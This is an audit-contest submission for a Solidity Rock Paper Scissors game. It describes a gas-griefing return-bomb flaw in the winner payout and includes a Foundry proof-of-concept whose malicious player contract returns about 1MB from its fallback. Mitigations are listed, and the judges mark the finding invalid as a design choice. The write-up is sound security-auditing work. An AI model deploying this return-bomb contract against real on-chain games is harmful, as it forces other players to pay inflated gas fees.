Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Invalid

Gas Griefing players due to missing gast cost on low-level call allowing usage of return bomb

Summary

A malicious player who wins a game created with Ether, can cause another player to pay a high gas cost by using a return bomb when being transferred winnngs.

Description

Gas griefing is an attack whereby an attacker causes a unsuspecting user to pay a higher gas fee.

In the RockPaperScissors contract, the winner of turn and/or game is decided by calling RockPaperScissors::revealMove. For games created by createGameWithEth, the revealMove function follows this execution flow:

  1. Runs checks to make sure the commited move matches the declared move

  2. After checks pass, calls RockPaperScissors::_determineWinner

  3. _determineWinner decidies who won the turn.

  4. If this is the last turn and there is a winner then RockPaperScissors::_finishGame is called.

  5. _finishGame calculates the prize and fees and then sends the prize winnings to the Winner by a low-level call.

The Code Issue

By default, the low-level '.call' automatically loads any returned data into the contracts memory regardless of it being used in the contract or not. The operation of loading data into memory is expensive. The more data that is returned, the higher the associated gas cost.

The low-level call to send funds is in RockPaperScissors::_finishGame#491 :

(bool success,) = _winner.call{value: prize}("");

As per the execution steps, the last player who calls the revealMove function - on the last turn - is responsible for the final gas cost associated with transferring winnings.

A malicious player can craft a contract that contains a malicious fallback function that returns a large amount of data when triggered by receiving the payment. Even though the data is not used, it is temporarily loaded into memory.

Requirements for Successful exploitation

In order to successfully be executed

  • The target player must be the last one to call RockPaperScissors::revealMove

  • The malicious player needs to be the winner of the entire game. (not turn)

Impact

There are no funds lost therefore the severity of this vulnerability is Medium. The impact of successful exploitation to gas grief an unsuspecting player:

  1. Target player has to pay a much higher gas fee

  2. A much higher financial investment that anticipated. A player goes into play the game with limited funds, and now has a larger % drop in funds

  3. User Frustration resulting in lost trust to the protocol: a user who has to pay higher fees than expected without understanding why, will be very confused and frustrated; which will be directed towards the protocol and result in loss of trust and a bad reputation.

Tools Used

  • Manual Review

  • Foundry

Proof-of-Concept

Description

In order to get gas consumption, 2 contracts are used to simulate the 2 players - "legitPlayer" and "maliciousPlayer". The gas consumption is measured starting from when the vulnerable player calls revealMove

  1. "legitPlayer" executes createGameWithEth

  2. "maliciousPlayer" joins the game and plays.

  3. On the last turn, after "maliciousPlayer" commits move and immediately calls reveal - ensuring that "legitPlayer" will be the last to call revealMove and be griefed

  4. "legitPlayer" calls revealMove and has lost and triggers the _finishGame functionality

  5. Once the funds are sent, the "maliciousPlayer" fallback function is hit and it returns 1MB of data.

  6. The data is automatically loaded into the contract but not used. Regardless, the operation consumes gas which "legitPlayer" is now forced to pay.

Execution

To prove the vulnerability I have created a runnable PoC. To execute run forge test --mt testGasGriefPlayer -vvv

Code

contract GasGriefingPlayers is Test {
RockPaperScissors game;
LegitPlayer legitPlayer;
MaliciousPlayer maliciousPlayer;
address player = makeAddr("player");
uint256 startingBalance = 1 ether;
function setUp() public {
game = new RockPaperScissors();
legitPlayer = new LegitPlayer(address(game));
maliciousPlayer = new MaliciousPlayer(address(game));
vm.deal(address(maliciousPlayer), startingBalance);
vm.deal(address(legitPlayer), startingBalance);
}
function testGasGriefPlayer() public {
//Legit Player: Create Game
legitPlayer.createGame();
uint256 playerGameId = legitPlayer.gameId();
uint256 bet = legitPlayer.minbet();
uint256 turns = legitPlayer.turns();
//Malicious Player Joins
uint256 maliciousPlayerStartingBalance = address(maliciousPlayer).balance;
maliciousPlayer.joinGame(playerGameId, bet);
//GameStarts
for (uint256 x = 0; x < turns; x++) {
legitPlayer.makeMove();
maliciousPlayer.makeMove();
maliciousPlayer.reveal();
legitPlayer.reveal(); //Ligit must be the last to execute so that they trigger subsequent _determineWinng and pay for distribute winnings.
}
uint256 winnerBalance = address(maliciousPlayer).balance;
assertEq(winnerBalance, 0.9 ether + bet);
//Gas Checks (on the last turn)
uint256 legitPlayerStartingGas = legitPlayer.startingGas();
uint256 legitPlayerEndingGas = legitPlayer.endingGas();
uint256 legitPlayerGasUsed = legitPlayerStartingGas - legitPlayerEndingGas;
uint256 maliciousPlayerStartingGas = maliciousPlayer.startingGas();
uint256 maliciousPlayerEndingGas = maliciousPlayer.endingGas();
uint256 maliciousPlayerGasUsed = maliciousPlayerStartingGas - maliciousPlayerEndingGas;
//Logging
console.log("LegitPlayer gas used: ", legitPlayerGasUsed);
console.log("MaliciousPlayer gas used: ", maliciousPlayerGasUsed);
console.log("MaliciousPlayer balance before winning: ", maliciousPlayerStartingBalance);
console.log("MaliciousPlayer final balance after winning: ", winnerBalance);
}
}
interface Igame {
function createGameWithEth(uint256 turn, uint256 timeout) external payable returns (uint256);
function timeoutJoin(uint256) external;
function joinGameWithEth(uint256) external payable;
function commitMove(uint256, bytes32) external;
function revealMove(uint256, uint8, bytes32) external;
}
contract MaliciousPlayer {
Igame public gameContract;
uint256 gameId;
uint256 bet;
bytes32 saltB;
//gasleft
uint256 public startingGas;
uint256 public endingGas;
constructor(address _target) {
gameContract = Igame(_target);
}
function joinGame(uint256 _gameId, uint256 _bet) external {
gameId = _gameId;
bet = _bet;
gameContract.joinGameWithEth{value: bet}(gameId);
}
function makeMove() external {
// Malicious Player commits
saltB = keccak256(abi.encodePacked("salt for malicious player"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB));
gameContract.commitMove(gameId, commitB);
}
function reveal() external {
startingGas = gasleft();
gameContract.revealMove(gameId, 1, saltB);
endingGas = gasleft();
}
fallback(bytes calldata) external payable returns (bytes memory) {
//Returns 1MB of data
bytes memory bigData = new bytes(1048 * 1048);
for (uint256 i = 0; i < bigData.length; i++) {
bigData[i] = 0x42; // Just an arbitrary byte
}
return bigData;
}
}
contract LegitPlayer {
Igame public gameContract;
uint256 public gameId;
uint256 public minbet = 0.5 ether;
uint256 timeout = 5 minutes;
uint256 public turns = 3;
bytes32 saltA;
//Gas
uint256 public startingGas;
uint256 public endingGas;
constructor(address _target) {
gameContract = Igame(_target);
}
//Creating Game
function createGame() external {
gameId = gameContract.createGameWithEth{value: minbet}(turns, timeout);
require(gameId == 0, "Failed to create game");
}
function makeMove() external {
// Legit Player commits
saltA = keccak256(abi.encodePacked("salt for legit player"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA));
gameContract.commitMove(gameId, commitA);
}
function reveal() external {
startingGas = gasleft();
gameContract.revealMove(gameId, 3, saltA);
endingGas = gasleft();
}
//Deleting Game
function cancelGame() external {
gameContract.timeoutJoin(gameId);
}
receive() external payable {}
}

Mitigation

In order to mitigate against this:

  1. Recommended: The contract should use the "pull" method, rather than "push" method for funds. This means that instead of the contract pushing funds to the winner, the winner instead needs to withdraw their winnings (i.e pull)

  2. The contract can implement a transaction gas limit to protect legit players against malicious players

  3. The ExcessivelySafeCall library can be implemented to protect against return bombs.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
m3dython Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
blackgrease Submitter
4 months ago
m3dython Lead Judge
4 months ago
m3dython Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.